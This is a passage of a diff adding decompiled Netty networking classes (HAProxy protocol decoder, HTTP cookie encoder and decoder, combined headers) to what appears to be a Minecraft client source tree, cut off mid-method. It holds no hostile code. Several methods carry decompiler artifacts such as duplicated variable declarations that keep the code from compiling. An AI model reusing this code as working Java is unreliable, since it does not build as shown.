+  public int destinationPort()
+  {
+    return destinationPort;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/haproxy/HAProxyMessageDecoder.java b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyMessageDecoder.java
new file mode 100644
index 0000000..9dfc262
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyMessageDecoder.java
@@ -0,0 +1,402 @@
+package io.netty.handler.codec.haproxy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.handler.codec.ProtocolDetectionResult;
+import io.netty.util.CharsetUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HAProxyMessageDecoder
+  extends ByteToMessageDecoder
+{
+  private static final int V1_MAX_LENGTH = 108;
+  private static final int V2_MAX_LENGTH = 65551;
+  private static final int V2_MIN_LENGTH = 232;
+  private static final int V2_MAX_TLV = 65319;
+  private static final int DELIMITER_LENGTH = 2;
+  private static final byte[] BINARY_PREFIX = { 13, 10, 13, 10, 0, 13, 10, 81, 85, 73, 84, 10 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final byte[] TEXT_PREFIX = { 80, 82, 79, 88, 89 };
+  
+
+
+
+
+
+
+
+
+
+  private static final int BINARY_PREFIX_LENGTH = BINARY_PREFIX.length;
+  
+
+
+
+  private static final ProtocolDetectionResult<HAProxyProtocolVersion> DETECTION_RESULT_V1 = ProtocolDetectionResult.detected(HAProxyProtocolVersion.V1);
+  
+
+
+
+
+  private static final ProtocolDetectionResult<HAProxyProtocolVersion> DETECTION_RESULT_V2 = ProtocolDetectionResult.detected(HAProxyProtocolVersion.V2);
+  
+
+
+
+
+  private boolean discarding;
+  
+
+
+
+  private int discardedBytes;
+  
+
+
+
+  private boolean finished;
+  
+
+
+
+  private int version = -1;
+  
+
+
+
+  private final int v2MaxHeaderSize;
+  
+
+
+
+  public HAProxyMessageDecoder()
+  {
+    v2MaxHeaderSize = 65551;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public HAProxyMessageDecoder(int maxTlvSize)
+  {
+    if (maxTlvSize < 1) {
+      v2MaxHeaderSize = 232;
+    } else if (maxTlvSize > 65319) {
+      v2MaxHeaderSize = 65551;
+    } else {
+      int calcMax = maxTlvSize + 232;
+      if (calcMax > 65551) {
+        v2MaxHeaderSize = 65551;
+      } else {
+        v2MaxHeaderSize = calcMax;
+      }
+    }
+  }
+  
+
+
+
+  private static int findVersion(ByteBuf buffer)
+  {
+    int n = buffer.readableBytes();
+    
+    if (n < 13) {
+      return -1;
+    }
+    
+    int idx = buffer.readerIndex();
+    return match(BINARY_PREFIX, buffer, idx) ? buffer.getByte(idx + BINARY_PREFIX_LENGTH) : 1;
+  }
+  
+
+
+
+  private static int findEndOfHeader(ByteBuf buffer)
+  {
+    int n = buffer.readableBytes();
+    
+
+    if (n < 16) {
+      return -1;
+    }
+    
+    int offset = buffer.readerIndex() + 14;
+    
+
+    int totalHeaderBytes = 16 + buffer.getUnsignedShort(offset);
+    
+
+    if (n >= totalHeaderBytes) {
+      return totalHeaderBytes;
+    }
+    return -1;
+  }
+  
+
+
+
+
+  private static int findEndOfLine(ByteBuf buffer)
+  {
+    int n = buffer.writerIndex();
+    for (int i = buffer.readerIndex(); i < n; i++) {
+      byte b = buffer.getByte(i);
+      if ((b == 13) && (i < n - 1) && (buffer.getByte(i + 1) == 10)) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+  public boolean isSingleDecode()
+  {
+    return true;
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    super.channelRead(ctx, msg);
+    if (finished) {
+      ctx.pipeline().remove(this);
+    }
+  }
+  
+  protected final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)
+    throws Exception
+  {
+    if ((version == -1) && 
+      ((this.version = findVersion(in)) == -1)) {
+      return;
+    }
+    
+    ByteBuf decoded;
+    
+    ByteBuf decoded;
+    if (version == 1) {
+      decoded = decodeLine(ctx, in);
+    } else {
+      decoded = decodeStruct(ctx, in);
+    }
+    
+    if (decoded != null) {
+      finished = true;
+      try {
+        if (version == 1) {
+          out.add(HAProxyMessage.decodeHeader(decoded.toString(CharsetUtil.US_ASCII)));
+        } else {
+          out.add(HAProxyMessage.decodeHeader(decoded));
+        }
+      } catch (HAProxyProtocolException e) {
+        fail(ctx, null, e);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  private ByteBuf decodeStruct(ChannelHandlerContext ctx, ByteBuf buffer)
+    throws Exception
+  {
+    int eoh = findEndOfHeader(buffer);
+    if (!discarding) {
+      if (eoh >= 0) {
+        int length = eoh - buffer.readerIndex();
+        if (length > v2MaxHeaderSize) {
+          buffer.readerIndex(eoh);
+          failOverLimit(ctx, length);
+          return null;
+        }
+        return buffer.readSlice(length);
+      }
+      int length = buffer.readableBytes();
+      if (length > v2MaxHeaderSize) {
+        discardedBytes = length;
+        buffer.skipBytes(length);
+        discarding = true;
+        failOverLimit(ctx, "over " + discardedBytes);
+      }
+      return null;
+    }
+    
+    if (eoh >= 0) {
+      buffer.readerIndex(eoh);
+      discardedBytes = 0;
+      discarding = false;
+    } else {
+      discardedBytes = buffer.readableBytes();
+      buffer.skipBytes(discardedBytes);
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  private ByteBuf decodeLine(ChannelHandlerContext ctx, ByteBuf buffer)
+    throws Exception
+  {
+    int eol = findEndOfLine(buffer);
+    if (!discarding) {
+      if (eol >= 0) {
+        int length = eol - buffer.readerIndex();
+        if (length > 108) {
+          buffer.readerIndex(eol + 2);
+          failOverLimit(ctx, length);
+          return null;
+        }
+        ByteBuf frame = buffer.readSlice(length);
+        buffer.skipBytes(2);
+        return frame;
+      }
+      int length = buffer.readableBytes();
+      if (length > 108) {
+        discardedBytes = length;
+        buffer.skipBytes(length);
+        discarding = true;
+        failOverLimit(ctx, "over " + discardedBytes);
+      }
+      return null;
+    }
+    
+    if (eol >= 0) {
+      int delimLength = buffer.getByte(eol) == 13 ? 2 : 1;
+      buffer.readerIndex(eol + delimLength);
+      discardedBytes = 0;
+      discarding = false;
+    } else {
+      discardedBytes = buffer.readableBytes();
+      buffer.skipBytes(discardedBytes);
+    }
+    return null;
+  }
+  
+  private void failOverLimit(ChannelHandlerContext ctx, int length)
+  {
+    failOverLimit(ctx, String.valueOf(length));
+  }
+  
+  private void failOverLimit(ChannelHandlerContext ctx, String length) {
+    int maxLength = version == 1 ? 108 : v2MaxHeaderSize;
+    fail(ctx, "header length (" + length + ") exceeds the allowed maximum (" + maxLength + ')', null);
+  }
+  
+  private void fail(ChannelHandlerContext ctx, String errMsg, Throwable t) {
+    finished = true;
+    ctx.close();
+    HAProxyProtocolException ppex;
+    HAProxyProtocolException ppex; if ((errMsg != null) && (t != null)) {
+      ppex = new HAProxyProtocolException(errMsg, t); } else { HAProxyProtocolException ppex;
+      if (errMsg != null) {
+        ppex = new HAProxyProtocolException(errMsg); } else { HAProxyProtocolException ppex;
+        if (t != null) {
+          ppex = new HAProxyProtocolException(t);
+        } else
+          ppex = new HAProxyProtocolException();
+      } }
+    throw ppex;
+  }
+  
+
+
+  public static ProtocolDetectionResult<HAProxyProtocolVersion> detectProtocol(ByteBuf buffer)
+  {
+    if (buffer.readableBytes() < 12) {
+      return ProtocolDetectionResult.needsMoreData();
+    }
+    
+    int idx = buffer.readerIndex();
+    
+    if (match(BINARY_PREFIX, buffer, idx)) {
+      return DETECTION_RESULT_V2;
+    }
+    if (match(TEXT_PREFIX, buffer, idx)) {
+      return DETECTION_RESULT_V1;
+    }
+    return ProtocolDetectionResult.invalid();
+  }
+  
+  private static boolean match(byte[] prefix, ByteBuf buffer, int idx) {
+    for (int i = 0; i < prefix.length; i++) {
+      byte b = buffer.getByte(idx + i);
+      if (b != prefix[i]) {
+        return false;
+      }
+    }
+    return true;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/haproxy/HAProxyProtocolException.java b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyProtocolException.java
new file mode 100644
index 0000000..3b508f2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyProtocolException.java
@@ -0,0 +1,52 @@
+package io.netty.handler.codec.haproxy;
+
+import io.netty.handler.codec.DecoderException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HAProxyProtocolException
+  extends DecoderException
+{
+  private static final long serialVersionUID = 713710864325167351L;
+  
+  public HAProxyProtocolException() {}
+  
+  public HAProxyProtocolException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public HAProxyProtocolException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public HAProxyProtocolException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/haproxy/HAProxyProtocolVersion.java b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyProtocolVersion.java
new file mode 100644
index 0000000..17a2cd7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyProtocolVersion.java
@@ -0,0 +1,70 @@
+package io.netty.handler.codec.haproxy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum HAProxyProtocolVersion
+{
+  V1((byte)16), 
+  
+
+
+  V2((byte)32);
+  
+
+
+  private static final byte VERSION_MASK = -16;
+  
+
+  private final byte byteValue;
+  
+
+
+  private HAProxyProtocolVersion(byte byteValue)
+  {
+    this.byteValue = byteValue;
+  }
+  
+
+
+
+
+  public static HAProxyProtocolVersion valueOf(byte verCmdByte)
+  {
+    int version = verCmdByte & 0xFFFFFFF0;
+    switch ((byte)version) {
+    case 32: 
+      return V2;
+    case 16: 
+      return V1;
+    }
+    throw new IllegalArgumentException("unknown version: " + version);
+  }
+  
+
+
+
+  public byte byteValue()
+  {
+    return byteValue;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/haproxy/HAProxyProxiedProtocol.java b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyProxiedProtocol.java
new file mode 100644
index 0000000..60b2988
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/haproxy/HAProxyProxiedProtocol.java
@@ -0,0 +1,239 @@
+package io.netty.handler.codec.haproxy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum HAProxyProxiedProtocol
+{
+  UNKNOWN((byte)0, AddressFamily.AF_UNSPEC, TransportProtocol.UNSPEC), 
+  
+
+
+  TCP4((byte)17, AddressFamily.AF_IPv4, TransportProtocol.STREAM), 
+  
+
+
+  TCP6((byte)33, AddressFamily.AF_IPv6, TransportProtocol.STREAM), 
+  
+
+
+  UDP4((byte)18, AddressFamily.AF_IPv4, TransportProtocol.DGRAM), 
+  
+
+
+  UDP6((byte)34, AddressFamily.AF_IPv6, TransportProtocol.DGRAM), 
+  
+
+
+  UNIX_STREAM((byte)49, AddressFamily.AF_UNIX, TransportProtocol.STREAM), 
+  
+
+
+  UNIX_DGRAM((byte)50, AddressFamily.AF_UNIX, TransportProtocol.DGRAM);
+  
+
+
+  private final byte byteValue;
+  
+
+  private final AddressFamily addressFamily;
+  
+  private final TransportProtocol transportProtocol;
+  
+
+  private HAProxyProxiedProtocol(byte byteValue, AddressFamily addressFamily, TransportProtocol transportProtocol)
+  {
+    this.byteValue = byteValue;
+    this.addressFamily = addressFamily;
+    this.transportProtocol = transportProtocol;
+  }
+  
+
+
+
+
+  public static HAProxyProxiedProtocol valueOf(byte tpafByte)
+  {
+    switch (tpafByte) {
+    case 17: 
+      return TCP4;
+    case 33: 
+      return TCP6;
+    case 0: 
+      return UNKNOWN;
+    case 18: 
+      return UDP4;
+    case 34: 
+      return UDP6;
+    case 49: 
+      return UNIX_STREAM;
+    case 50: 
+      return UNIX_DGRAM;
+    }
+    throw new IllegalArgumentException("unknown transport protocol + address family: " + (tpafByte & 0xFF));
+  }
+  
+
+
+
+
+  public byte byteValue()
+  {
+    return byteValue;
+  }
+  
+
+
+  public AddressFamily addressFamily()
+  {
+    return addressFamily;
+  }
+  
+
+
+  public TransportProtocol transportProtocol()
+  {
+    return transportProtocol;
+  }
+  
+
+
+
+
+
+  public static enum AddressFamily
+  {
+    AF_UNSPEC((byte)0), 
+    
+
+
+    AF_IPv4((byte)16), 
+    
+
+
+    AF_IPv6((byte)32), 
+    
+
+
+    AF_UNIX((byte)48);
+    
+
+
+    private static final byte FAMILY_MASK = -16;
+    
+
+    private final byte byteValue;
+    
+
+
+    private AddressFamily(byte byteValue)
+    {
+      this.byteValue = byteValue;
+    }
+    
+
+
+
+
+    public static AddressFamily valueOf(byte tpafByte)
+    {
+      int addressFamily = tpafByte & 0xFFFFFFF0;
+      switch ((byte)addressFamily) {
+      case 16: 
+        return AF_IPv4;
+      case 32: 
+        return AF_IPv6;
+      case 0: 
+        return AF_UNSPEC;
+      case 48: 
+        return AF_UNIX;
+      }
+      throw new IllegalArgumentException("unknown address family: " + addressFamily);
+    }
+    
+
+
+
+    public byte byteValue()
+    {
+      return byteValue;
+    }
+  }
+  
+
+
+
+
+
+  public static enum TransportProtocol
+  {
+    UNSPEC((byte)0), 
+    
+
+
+    STREAM((byte)1), 
+    
+
+
+    DGRAM((byte)2);
+    
+
+
+    private static final byte TRANSPORT_MASK = 15;
+    
+
+    private final byte transportByte;
+    
+
+
+    private TransportProtocol(byte transportByte)
+    {
+      this.transportByte = transportByte;
+    }
+    
+
+
+
+
+    public static TransportProtocol valueOf(byte tpafByte)
+    {
+      int transportProtocol = tpafByte & 0xF;
+      switch ((byte)transportProtocol) {
+      case 1: 
+        return STREAM;
+      case 0: 
+        return UNSPEC;
+      case 2: 
+        return DGRAM;
+      }
+      throw new IllegalArgumentException("unknown transport protocol: " + transportProtocol);
+    }
+    
+
+
+
+    public byte byteValue()
+    {
+      return transportByte;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/ClientCookieEncoder.java b/src/minecraft/io/netty/handler/codec/http/ClientCookieEncoder.java
new file mode 100644
index 0000000..4c7cfcf
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/ClientCookieEncoder.java
@@ -0,0 +1,114 @@
+package io.netty.handler.codec.http;
+
+import java.util.Iterator;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ClientCookieEncoder
+{
+  public static String encode(String name, String value)
+  {
+    return encode(new DefaultCookie(name, value));
+  }
+  
+  public static String encode(Cookie cookie) {
+    if (cookie == null) {
+      throw new NullPointerException("cookie");
+    }
+    
+    StringBuilder buf = CookieEncoderUtil.stringBuilder();
+    encode(buf, cookie);
+    return CookieEncoderUtil.stripTrailingSeparator(buf);
+  }
+  
+  public static String encode(Cookie... cookies) {
+    if (cookies == null) {
+      throw new NullPointerException("cookies");
+    }
+    
+    StringBuilder buf = CookieEncoderUtil.stringBuilder();
+    for (Cookie c : cookies) {
+      if (c == null) {
+        break;
+      }
+      
+      encode(buf, c);
+    }
+    return CookieEncoderUtil.stripTrailingSeparator(buf);
+  }
+  
+  public static String encode(Iterable<Cookie> cookies) {
+    if (cookies == null) {
+      throw new NullPointerException("cookies");
+    }
+    
+    StringBuilder buf = CookieEncoderUtil.stringBuilder();
+    for (Cookie c : cookies) {
+      if (c == null) {
+        break;
+      }
+      
+      encode(buf, c);
+    }
+    return CookieEncoderUtil.stripTrailingSeparator(buf);
+  }
+  
+  private static void encode(StringBuilder buf, Cookie c) {
+    if (c.getVersion() >= 1) {
+      CookieEncoderUtil.add(buf, "$Version", 1L);
+    }
+    
+    CookieEncoderUtil.add(buf, c.getName(), c.getValue());
+    
+    if (c.getPath() != null) {
+      CookieEncoderUtil.add(buf, "$Path", c.getPath());
+    }
+    
+    if (c.getDomain() != null) {
+      CookieEncoderUtil.add(buf, "$Domain", c.getDomain());
+    }
+    
+    if ((c.getVersion() >= 1) && 
+      (!c.getPorts().isEmpty())) {
+      buf.append('$');
+      buf.append("Port");
+      buf.append('=');
+      buf.append('"');
+      for (Iterator i$ = c.getPorts().iterator(); i$.hasNext();) { int port = ((Integer)i$.next()).intValue();
+        buf.append(port);
+        buf.append(',');
+      }
+      buf.setCharAt(buf.length() - 1, '"');
+      buf.append(';');
+      buf.append(' ');
+    }
+  }
+  
+  private ClientCookieEncoder() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/CombinedHttpHeaders.java b/src/minecraft/io/netty/handler/codec/http/CombinedHttpHeaders.java
new file mode 100644
index 0000000..c056638
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/CombinedHttpHeaders.java
@@ -0,0 +1,239 @@
+package io.netty.handler.codec.http;
+
+import io.netty.handler.codec.DefaultHeaders;
+import io.netty.handler.codec.DefaultHeaders.NameValidator;
+import io.netty.handler.codec.Headers;
+import io.netty.handler.codec.ValueConverter;
+import io.netty.util.AsciiString;
+import io.netty.util.HashingStrategy;
+import io.netty.util.internal.StringUtil;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CombinedHttpHeaders
+  extends DefaultHttpHeaders
+{
+  public CombinedHttpHeaders(boolean validate)
+  {
+    super(new CombinedHttpHeadersImpl(AsciiString.CASE_INSENSITIVE_HASHER, valueConverter(validate), nameValidator(validate)));
+  }
+  
+
+  private static final class CombinedHttpHeadersImpl
+    extends DefaultHeaders<CharSequence, CharSequence, CombinedHttpHeadersImpl>
+  {
+    private static final int VALUE_LENGTH_ESTIMATE = 10;
+    private CsvValueEscaper<Object> objectEscaper;
+    private CsvValueEscaper<CharSequence> charSequenceEscaper;
+    
+    private CsvValueEscaper<Object> objectEscaper()
+    {
+      if (objectEscaper == null) {
+        objectEscaper = new CsvValueEscaper()
+        {
+          public CharSequence escape(Object value) {
+            return StringUtil.escapeCsv((CharSequence)valueConverter().convertObject(value));
+          }
+        };
+      }
+      return objectEscaper;
+    }
+    
+    private CsvValueEscaper<CharSequence> charSequenceEscaper() {
+      if (charSequenceEscaper == null) {
+        charSequenceEscaper = new CsvValueEscaper()
+        {
+          public CharSequence escape(CharSequence value) {
+            return StringUtil.escapeCsv(value);
+          }
+        };
+      }
+      return charSequenceEscaper;
+    }
+    
+
+    public CombinedHttpHeadersImpl(HashingStrategy<CharSequence> nameHashingStrategy, ValueConverter<CharSequence> valueConverter, DefaultHeaders.NameValidator<CharSequence> nameValidator)
+    {
+      super(valueConverter, nameValidator);
+    }
+    
+    public List<CharSequence> getAll(CharSequence name)
+    {
+      List<CharSequence> values = super.getAll(name);
+      if (values.isEmpty()) {
+        return values;
+      }
+      if (values.size() != 1) {
+        throw new IllegalStateException("CombinedHttpHeaders should only have one value");
+      }
+      return StringUtil.unescapeCsvFields((CharSequence)values.get(0));
+    }
+    
+
+    public CombinedHttpHeadersImpl add(Headers<? extends CharSequence, ? extends CharSequence, ?> headers)
+    {
+      if (headers == this) {
+        throw new IllegalArgumentException("can't add to itself.");
+      }
+      if ((headers instanceof CombinedHttpHeadersImpl)) {
+        if (isEmpty())
+        {
+          addImpl(headers);
+        }
+        else {
+          for (Map.Entry<? extends CharSequence, ? extends CharSequence> header : headers) {
+            addEscapedValue((CharSequence)header.getKey(), (CharSequence)header.getValue());
+          }
+        }
+      } else {
+        for (Map.Entry<? extends CharSequence, ? extends CharSequence> header : headers) {
+          add((CharSequence)header.getKey(), (CharSequence)header.getValue());
+        }
+      }
+      return this;
+    }
+    
+    public CombinedHttpHeadersImpl set(Headers<? extends CharSequence, ? extends CharSequence, ?> headers)
+    {
+      if (headers == this) {
+        return this;
+      }
+      clear();
+      return add(headers);
+    }
+    
+    public CombinedHttpHeadersImpl setAll(Headers<? extends CharSequence, ? extends CharSequence, ?> headers)
+    {
+      if (headers == this) {
+        return this;
+      }
+      for (CharSequence key : headers.names()) {
+        remove(key);
+      }
+      return add(headers);
+    }
+    
+    public CombinedHttpHeadersImpl add(CharSequence name, CharSequence value)
+    {
+      return addEscapedValue(name, StringUtil.escapeCsv(value));
+    }
+    
+    public CombinedHttpHeadersImpl add(CharSequence name, CharSequence... values)
+    {
+      return addEscapedValue(name, commaSeparate(charSequenceEscaper(), values));
+    }
+    
+    public CombinedHttpHeadersImpl add(CharSequence name, Iterable<? extends CharSequence> values)
+    {
+      return addEscapedValue(name, commaSeparate(charSequenceEscaper(), values));
+    }
+    
+    public CombinedHttpHeadersImpl addObject(CharSequence name, Iterable<?> values)
+    {
+      return addEscapedValue(name, commaSeparate(objectEscaper(), values));
+    }
+    
+    public CombinedHttpHeadersImpl addObject(CharSequence name, Object... values)
+    {
+      return addEscapedValue(name, commaSeparate(objectEscaper(), values));
+    }
+    
+    public CombinedHttpHeadersImpl set(CharSequence name, CharSequence... values)
+    {
+      super.set(name, commaSeparate(charSequenceEscaper(), values));
+      return this;
+    }
+    
+    public CombinedHttpHeadersImpl set(CharSequence name, Iterable<? extends CharSequence> values)
+    {
+      super.set(name, commaSeparate(charSequenceEscaper(), values));
+      return this;
+    }
+    
+    public CombinedHttpHeadersImpl setObject(CharSequence name, Object value)
+    {
+      super.set(name, commaSeparate(objectEscaper(), new Object[] { value }));
+      return this;
+    }
+    
+    public CombinedHttpHeadersImpl setObject(CharSequence name, Object... values)
+    {
+      super.set(name, commaSeparate(objectEscaper(), values));
+      return this;
+    }
+    
+    public CombinedHttpHeadersImpl setObject(CharSequence name, Iterable<?> values)
+    {
+      super.set(name, commaSeparate(objectEscaper(), values));
+      return this;
+    }
+    
+    private CombinedHttpHeadersImpl addEscapedValue(CharSequence name, CharSequence escapedValue) {
+      CharSequence currentValue = (CharSequence)super.get(name);
+      if (currentValue == null) {
+        super.add(name, escapedValue);
+      } else {
+        super.set(name, commaSeparateEscapedValues(currentValue, escapedValue));
+      }
+      return this;
+    }
+    
+    private static <T> CharSequence commaSeparate(CsvValueEscaper<T> escaper, T... values) {
+      StringBuilder sb = new StringBuilder(values.length * 10);
+      if (values.length > 0) {
+        int end = values.length - 1;
+        for (int i = 0; i < end; i++) {
+          sb.append(escaper.escape(values[i])).append(',');
+        }
+        sb.append(escaper.escape(values[end]));
+      }
+      return sb;
+    }
+    
+    private static <T> CharSequence commaSeparate(CsvValueEscaper<T> escaper, Iterable<? extends T> values)
+    {
+      StringBuilder sb = (values instanceof Collection) ? new StringBuilder(((Collection)values).size() * 10) : new StringBuilder();
+      
+      Iterator<? extends T> iterator = values.iterator();
+      if (iterator.hasNext()) {
+        T next = iterator.next();
+        while (iterator.hasNext()) {
+          sb.append(escaper.escape(next)).append(',');
+          next = iterator.next();
+        }
+        sb.append(escaper.escape(next));
+      }
+      return sb;
+    }
+    
+    private CharSequence commaSeparateEscapedValues(CharSequence currentValue, CharSequence value) {
+      return new StringBuilder(currentValue.length() + 1 + value.length()).append(currentValue).append(',').append(value);
+    }
+    
+    private static abstract interface CsvValueEscaper<T>
+    {
+      public abstract CharSequence escape(T paramT);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/ComposedLastHttpContent.java b/src/minecraft/io/netty/handler/codec/http/ComposedLastHttpContent.java
new file mode 100644
index 0000000..ba4921f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/ComposedLastHttpContent.java
@@ -0,0 +1,86 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.DecoderResult;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ComposedLastHttpContent
+  implements LastHttpContent
+{
+  private final HttpHeaders trailingHeaders;
+  private DecoderResult result;
+  
+  ComposedLastHttpContent(HttpHeaders trailingHeaders)
+  {
+    this.trailingHeaders = trailingHeaders;
+  }
+  
+  public HttpHeaders trailingHeaders() {
+    return trailingHeaders;
+  }
+  
+  public LastHttpContent copy()
+  {
+    LastHttpContent content = new DefaultLastHttpContent(Unpooled.EMPTY_BUFFER);
+    content.trailingHeaders().set(trailingHeaders());
+    return content;
+  }
+  
+  public LastHttpContent retain(int increment)
+  {
+    return this;
+  }
+  
+  public LastHttpContent retain()
+  {
+    return this;
+  }
+  
+  public HttpContent duplicate()
+  {
+    return copy();
+  }
+  
+  public ByteBuf content()
+  {
+    return Unpooled.EMPTY_BUFFER;
+  }
+  
+  public DecoderResult getDecoderResult()
+  {
+    return result;
+  }
+  
+  public void setDecoderResult(DecoderResult result)
+  {
+    this.result = result;
+  }
+  
+  public int refCnt()
+  {
+    return 1;
+  }
+  
+  public boolean release()
+  {
+    return false;
+  }
+  
+  public boolean release(int decrement)
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/Cookie.java b/src/minecraft/io/netty/handler/codec/http/Cookie.java
new file mode 100644
index 0000000..134de09
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/Cookie.java
@@ -0,0 +1,55 @@
+package io.netty.handler.codec.http;
+
+import java.util.Set;
+
+public abstract interface Cookie
+  extends Comparable<Cookie>
+{
+  public abstract String getName();
+  
+  public abstract String getValue();
+  
+  public abstract void setValue(String paramString);
+  
+  public abstract String getDomain();
+  
+  public abstract void setDomain(String paramString);
+  
+  public abstract String getPath();
+  
+  public abstract void setPath(String paramString);
+  
+  public abstract String getComment();
+  
+  public abstract void setComment(String paramString);
+  
+  public abstract long getMaxAge();
+  
+  public abstract void setMaxAge(long paramLong);
+  
+  public abstract int getVersion();
+  
+  public abstract void setVersion(int paramInt);
+  
+  public abstract boolean isSecure();
+  
+  public abstract void setSecure(boolean paramBoolean);
+  
+  public abstract boolean isHttpOnly();
+  
+  public abstract void setHttpOnly(boolean paramBoolean);
+  
+  public abstract String getCommentUrl();
+  
+  public abstract void setCommentUrl(String paramString);
+  
+  public abstract boolean isDiscard();
+  
+  public abstract void setDiscard(boolean paramBoolean);
+  
+  public abstract Set<Integer> getPorts();
+  
+  public abstract void setPorts(int... paramVarArgs);
+  
+  public abstract void setPorts(Iterable<Integer> paramIterable);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/CookieDecoder.java b/src/minecraft/io/netty/handler/codec/http/CookieDecoder.java
new file mode 100644
index 0000000..b938bde
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/CookieDecoder.java
@@ -0,0 +1,333 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.internal.StringUtil;
+import java.text.ParseException;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Date;
+import java.util.List;
+import java.util.Set;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CookieDecoder
+{
+  private static final char COMMA = ',';
+  
+  public static Set<Cookie> decode(String header)
+  {
+    List<String> names = new ArrayList(8);
+    List<String> values = new ArrayList(8);
+    extractKeyValuePairs(header, names, values);
+    
+    if (names.isEmpty()) {
+      return Collections.emptySet();
+    }
+    
+
+    int version = 0;
+    
+    int i;
+    int i;
+    if (((String)names.get(0)).equalsIgnoreCase("Version")) {
+      try {
+        version = Integer.parseInt((String)values.get(0));
+      }
+      catch (NumberFormatException e) {}
+      
+      i = 1;
+    } else {
+      i = 0;
+    }
+    
+    if (names.size() <= i)
+    {
+      return Collections.emptySet();
+    }
+    
+    Set<Cookie> cookies = new TreeSet();
+    for (; i < names.size(); i++) {
+      String name = (String)names.get(i);
+      String value = (String)values.get(i);
+      if (value == null) {
+        value = "";
+      }
+      
+      Cookie c = new DefaultCookie(name, value);
+      
+      boolean discard = false;
+      boolean secure = false;
+      boolean httpOnly = false;
+      String comment = null;
+      String commentURL = null;
+      String domain = null;
+      String path = null;
+      long maxAge = Long.MIN_VALUE;
+      List<Integer> ports = new ArrayList(2);
+      
+      for (int j = i + 1; j < names.size(); i++) {
+        name = (String)names.get(j);
+        value = (String)values.get(j);
+        
+        if ("Discard".equalsIgnoreCase(name)) {
+          discard = true;
+        } else if ("Secure".equalsIgnoreCase(name)) {
+          secure = true;
+        } else if ("HTTPOnly".equalsIgnoreCase(name)) {
+          httpOnly = true;
+        } else if ("Comment".equalsIgnoreCase(name)) {
+          comment = value;
+        } else if ("CommentURL".equalsIgnoreCase(name)) {
+          commentURL = value;
+        } else if ("Domain".equalsIgnoreCase(name)) {
+          domain = value;
+        } else if ("Path".equalsIgnoreCase(name)) {
+          path = value;
+        } else if ("Expires".equalsIgnoreCase(name)) {
+          try {
+            long maxAgeMillis = HttpHeaderDateFormat.get().parse(value).getTime() - System.currentTimeMillis();
+            
+
+
+            maxAge = maxAgeMillis / 1000L + (maxAgeMillis % 1000L != 0L ? 1 : 0);
+          }
+          catch (ParseException e) {}
+        }
+        else if ("Max-Age".equalsIgnoreCase(name)) {
+          maxAge = Integer.parseInt(value);
+        } else if ("Version".equalsIgnoreCase(name)) {
+          version = Integer.parseInt(value);
+        } else { if (!"Port".equalsIgnoreCase(name)) break;
+          String[] portList = StringUtil.split(value, ',');
+          for (String s1 : portList) {
+            try {
+              ports.add(Integer.valueOf(s1));
+            }
+            catch (NumberFormatException e) {}
+          }
+        }
+        j++;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      c.setVersion(version);
+      c.setMaxAge(maxAge);
+      c.setPath(path);
